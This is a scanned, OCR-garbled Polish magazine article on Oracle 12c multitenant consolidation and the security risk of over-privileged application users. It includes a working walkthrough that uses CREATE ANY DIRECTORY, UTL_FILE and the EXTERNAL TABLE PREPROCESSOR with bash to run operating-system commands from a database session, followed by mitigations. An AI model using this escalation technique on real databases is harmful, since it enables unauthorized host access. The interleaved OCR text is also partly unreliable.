BEZPIECZENSTWO

DATABASE AS A SERVICE -
ZAGROZENIA W CZASACH
KONSOLIDAC)I

Zyjemy w czasach, w ktérych stowo ,chmura” czesciej kojarzy sie z ustuga
IT niz ze zjawiskiem atmosferycznym, a firmy przescigajg sie w oferowaniu
rozwigzan cloudowych. Oracle nie jest wyjatkiem — w ofercie najwiekszego
dostawcy baz danych mozna znalezc wiele nowych ustug i funkcjonalnosci
oferowanych w modelu Database as a Service (DBaa$S) i prywatnej chmury.

—

Kamil Stawiarski

m mawiajac problematyke konsoli-
dacji, warto zwréci¢ szczegdlng
uwage na to, jakie srodowiska ze sobg
konsolidujemy i jak moze to wplynaé
na szeroko pojete bezpieczenstwo in-
frastruktury IT. W tym kontekscie
przyjrzyjmy sie flagowemu rozwigzaniu
Oracle’a — nowej funkcjonalnosci w ba-
zie 12¢, ktdéra zupelnie zmienia fizyczna
konstrukcje bazy danych z Redwood.
Do tej pory gléwng cechg wyrdznia-
jaca bazy danych Oracle, jak i gléwna
przeszkoda w przesiadce z innych $ro-
dowisk, byta architektura. W przeciwien-
stwie do np. SQL Server lub PostgreSQL,
w serwerze Oracle mieliSmy tylko jedna
baze danych, podzielong na schematy
bedace jednoczesénie uzytkownikami. Po-
czawszy od bazy 12¢, Oracle postanowit
wprowadzi¢ podzial podobny do pozo-
stalych silnikéw bazodanowych — jedna
instancje, w ktorej jest wiele baz, a w kaz-
dej z nich wiele schematéw. Cala zabawa
polega na ulatwionym zarzadzaniu skon-
solidowanymi $rodowiskami w ramach
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jednego klastra. Efektem takiego podej-
Scia jest lepsza dystrybucja zasob6éw pa-
mieci i procesora, ujednolicony backup
i odtwarzanie danych oraz latwiejsza
migracja do nowych wersji, polegajaca
na zwyklym ,wyciagnieciu” bazy danych
z matczynego kontenera i wpieciu jej
do wersji wyzsze;j.

> ORACLE MULTITENANT
ARCHITECTURE

Do niedawna, w sytuacji gdy zaistnia-
fa potrzeba konsolidacji wielu $rodo-
wisk Oracle Database w ramach jednej
maszyny lub jednego klastra, zawsze

pojawial sie problem z obstuga odpo-
wiedniej iloSci pamieci. Kazda baza
danych posiadala wlasng instancje,
a wiec wlasny zaséb pamieci wspéldzie-
lonej, ktéry musial by¢ zaalokowany tyl-
ko i wylacznie dla niej na poziomie sys-
temu operacyjnego. Zarzadzanie takim
srodowiskiem przysparzalo DBA wielu
probleméw, zwlaszcza w obrebie priory-
tetyzacji poszczegdlnych baz i dobrania
odpowiednich rozmiaréw SGA dla sys-
temow dzialajacych obok siebie.

Skad w ogdle potrzeba konsolidacji?
Przede wszystkim ze wzgledéw koszto-
wych —jesli instytucja posiada 50 systeméw

Konsolidacja nowych srodowisk stata sie
niezwykle prosta. Oracle zmienit architekture
bazy danych w taki sposab, aby byto mozliwe
dodawanie nowych, tzw. wtyczkowych

baz danych do kontenera, czyli istniejgce)
instalacji Oracle’a. Takie rozwigzanie pozwala

na 0szczednosc zasobow | fatwe dodawanie
kolejnych systemow do istniejgcej infrastruktury.
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opartych na bazie Oracle, ciezko jest utrzymywac 50 odrebnych
serweréw. W takiej sytuacji architekci stang przed wyborem wir-
tualizacji lub budowy klastra RAC, na ktéry zostang zmigrowane
wszystkie uzywane bazy danych. Wspomniane rozwigzania nie po-
zwalaja jednak na oszczednosé zasobéw i tatwe dodawanie kolej-
nych systemé6w do istniejgcej infrastruktury. Oracle rozwigzat te
problemy, zmieniajac architekture bazy danych w taki sposéb, aby
bylo mozliwe dodawanie nowych tzw. wtyczkowych baz danych
(pluggable databases) do kontenera, czyli istniejacej instalacji
Oracle’a, ktéra moze by¢ stworzona jako np. Real Application Clu-
ster, z zaimplementowana, polityka backupu i rozwigzaniem HA
w postaci Oracle Data Guard. Dzieki temu konsolidacja nowych
srodowisk bazodanowych stala sie niezwykle prosta, a do jej czeste-
go wykorzystywania przekonuja nastepujace argumenty:
= niskie naktady pracy — wystarczy raz zdefiniowaé polity-
ke backupu, stworzy¢ klaster i srodowisko HA, aby kazda
nastepna wtyczkowa baza danych zostala automatycznie
objeta tymi regutami natychmiast po wpieciu w kontener;
= skalowalnos¢ — w przypadku brakujgcych zasobéw mozna
rozbudowywaé klaster i zasoby dyskowe bez koniecznosci
skomplikowanych migracji i w duzej liczbie przypadkéw
bez okien serwisowych;
= zmniejszenie kosztdw — wszystkie bazy danych sg licencjo-
nowane w ramach calego klastra i nie trzeba utrzymywacé
osobnych fizycznych $rodowisk;
= private cloud - fatwo$¢ implementacji tzw. chmury prywat-
nej, pozwalajacej na to, ze kazdy w instytucji moze za po-
moca przegladarki internetowej otrzymac¢ dostep do bazy
o okreslonych parametrach i np. na okreslony czas;
= fizyczne zasoby — zmniejszenie iloéci potrzebnych fizycznych
zasob6w na tworzenie np. baz testowych lub deweloperskich,
poprzez wspdlne wykorzystanie tego samego obszaru pamieci
wspoldzielonej i uzycie takich mechanizméw jak copy on write,
w celu tworzenia wtyczkowych baz danych typu snapshot copy.
Wszystkie te zalety sprawiaja, ze firmy coraz przychylniej
patrza na prywatng chmure i sa coraz bardziej sktonne kon-
solidowa¢ Srodowiska bazodanowe.

> UPRAWNIENIA VS FUNKCJONALNOSE
Niemal kazdy programista prawdopodobnie stoczyl niejedng
walke z administratorem o poziom uprawnien dla nowo tworzo-
nej aplikacji. Niestety, wiele takich sporéw koniczy sie kompro-
misem, ktéry o wiele za daleko jest przesuniety w strone wygody.
Przeprowadzajac réznego typu audyty systemoéw, czesto mozna
spotkaé sie z sytuacjami, w ktérych gléwny uzytkownik aplika-
cyjny co prawda nie ma uprawnien do roli DBA, ale do wiek-
szosci jej sktadowych juz tak. O ile nie zawsze jest to krytyczny
problem, zwlaszcza jesli baza danych ma swéj prywatny serwer,
o tyle w §rodowiskach skonsolidowanych takie zachowanie moze
prowadzi¢ do prawdziwej katastrofy.

Rozwazmy nastepujacy przyklad: wyobrazmy sobie firme X,
ktora jako duza korporacja posiada wiele systeméw opartych
obazy danych Oracle. W ramach duzego projektu migracyjnego
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postanowiono, ze wraz z wymiang sprzetu i budowg DRC na-
stapi konsolidacja wszystkich systeméw w ramach oszczed-
nosci licencyjnych. Zostal stworzony klaster RAC, §rodowisko
Data Guard oraz zaimplementowana polityka backupéw in-
krementalnych, i do tak przygotowanej platformy zaczynamy
wpinac¢ kolejne bazy danych. Do jednej z nich uzytkownik apli-
kacyjny posiada uprawnienia, wéréd ktérych znajduja sie m.in.
CREATE ANY DIRECTORY oraz EXECUTE ANY PROCEDURE.

NADUZYCIE | ESKALACJA

Jako wykonawca majacy dostep tylko do swojej bazy z wyzej
wymienionymi uprawnieniami, uzytkownik moze okazaé sie
na tyle pomyslowy, ze postara sie ich uzy¢ w niecodzienny
spos6b. W celu doprowadzenia do naduzycia wystarczy uzy¢
obiektu EXTERNAL TABLE, a dokladniej jego funkcjonalnosci
0 nazwie PREPROCESSOR, ktéra zostala zaprezentowana w ba-
zie Oracle 11g jako jedna z nowych i ciekawych cech (opis
funkcjonalno$ci na: tinyurl.com/preprocessor11g).

STWORZENIE ODPOWIEDNICH
OBIEKTOW DIRECTORY

SQL> ora-600:bin inter$ ./sdsql hr/hr@skiper:1521/kowalsky
sdsql: Release 4.1.0 Beta on Pn gru 22 12:36:39 2014

Copyright (c) 1982, 2014, Oracle. All rights reserved.

Connected to:

Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
SQL> CREATE OR REPLACE DIRECTORY exec_dir AS '/bin';

Directory EXEC_DIR created.

SQL> CREATE OR REPLACE DIRECTORY temp_dir AS '/tmp';

Directory TEMP_DIR created.

UZYCIE PAKIETU UTL_FILE
Uzycie pakietu UTL_FILE do stworzenia skryptu, ktéry zostanie
wykonany na systemie operacyjnym:

SQL> declare

2 v_file utl_file.file_type;

3 begin

4 v_file:=utl_file.fopen('TEMP_DIR','.oralock.log','w');

5 utl_file.put_line(v_file, 'export PATH=/usr/local/bin:
bin:/usr/local/sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01/app/\
oracle/product/12.1.0/grid/bin');

6 utl_file.put_line(v_file, 'export ORACLE_HOME=/u01/app/oracle/\

product/12.1.0/grid");

7 utl_file.put_line(v_file, 'export ORACLE_SID=+ASM');

8 utl_file.put_line(v_file, 'export PATH=$ORACLE_HOME/bin:$PATH');
9 utl_file.put_line(v_file, 'crsctl stat res -t');

10 utl_file.put_line(v_file, 'ps aux | grep pmon');

11 utl_file.put_line(v_file,'rm /tmp/.oralock.log');

12 utl_file.fclose(v_file);
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+ UZYCIE EXTERNAL TABLE 1 ONLINE ONLINE STABLE
Uzycie EXTERNAL TABLE z funkcjg PREPROCESSOR w celu wyko- — EHRey S
nania skryptu: 1 ONLINE ONLINE Open

ora.private.db

SQL> CREATE TABLE exec_command ( 1 OFFLINE OFFLINE Instance Shutdown
2 txt varchar2(4000)
3)

4 ORGANIZATION EXTERNAL (

ABLE

OFFLINE OFFLINE Instance Shutdown
TYPE ORACLE_LOADER

DEFAULT DIRECTORY temp_dir
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE W powyzszym przykladzie widaé, ze bash jako ,pre-
PREPROCESSOR exec_dir: 'bash’ procesor” wykonal nasz skrypt, a dzieki funkcjonalnosci
1 FIELDS TERMINATED BY ', sexternal table” mogliSmy zobaczyé wynik tego skryptu.
11 MISSING FIELD VALUES ARE NULL Nietrudno zatem stworzy¢ scenariusz, w ktérym bez pro-
12 ( blemu zalogujemy sie¢ do bazy kontenerowej i uzyskamy
13 dostep do calego srodowiska.
14 .
15 ) > POWAZNA LUKA CZY ZANIEDBANIE?
16 LOCATION ('.oralock.log') Wiele os6b moze w tym momencie stwierdzi¢, ze jest to bardzo
17 ); powazna luka w bazie danych Oracle. Ale takie stwierdzenie moz-
Table EXEC_COMMAND created. na przewrotnie poréwnac z absurdalnym zarzutem, ze powaznym
SqL> select * from exec_command; uchybieniem firm produkujacych noze jest fakt, ze sq one ostre
imogg zosta¢ wykorzystane do niecnych celéw. Jesli aplikacja do-
staje uprawnienia DBA, nie nalezy sie dziwié¢, ze kto§ moze ich
State details naduzy¢. Jesli damy komus dostep do roota, trzeba liczy¢ sie z tym,
ze kto$ uzyje tego uprawnienia do restartu maszyny.

Na koniec warto przypomnieé, ze istnieje wiele technik,
ktéorych mozna uzyé dla zabezpieczenia Srodowiska przed
opisanymi sytuacjami. Sg to m.in.:
= wylgczenie mozliwosci autoryzacji systemowej dla uzyt-

5
6
7
8
9
(0]

.DATA11G.dg kownika bedacego wlascicielem oprogramowania Oracle;
skiper = wdrozenie mechanizmu Database Vault (dodatkowo licen-
.DATA12C. dg cjonowane);
ONLINE skiper = wdrozenie oprogramowania Database Firewall (dodatkowo
.FASTDATA11G.dg licencjonowane);
ONLINE skiper = uzycie nowej cechy bazy 12c, jaka jest unified auditing i zbu-
.FASTDATA12C.dg dowanie regut audytu dla wykrywania naduzy¢;
ONLINE skiper = przede wszystkim dbanie o poziom uprawnien adekwatny
.LISTENER. 1snr do funkcjonalnoéci systemu.
ONLINE skiper Przedstawione zagadnienie warto potraktowaé jako punkt
wyjScia podczas rewizji uprawnien aplikacji, ktére korzystaja
ONLINE skiper Started z bazy danych Oracle, przed przylaczeniem ich do skonsoli-
dowanego $rodowiska. Najlepiej postepowaé¢ w mysl zasady
OFFLINE OFFLINE i slatwiej zapobiega¢ niz leczy¢". Znacznie ciezej bedzie bo-

wiem uzyskaé pozadany zestaw uprawnien dla istniejgcych
juz aplikacji, w ktérych modyfikacja na poziomie rél uzyt-
kownika aplikacyjnego moze prowadzi¢ do nieprzewidzia-
nych zachowan w pézniejszym etapie zycia systemu, anizeli
ONLINE ONLINE skiper STABLE poddaé wykorzystywane $rodowiska konsolidacji. IT|

OFFLINE OFFLINE STABLE Autor jest jedynym w Polsce posiadaczem tytutu Oracle
Certified Master, zaproszonym do programu Oracle ACE
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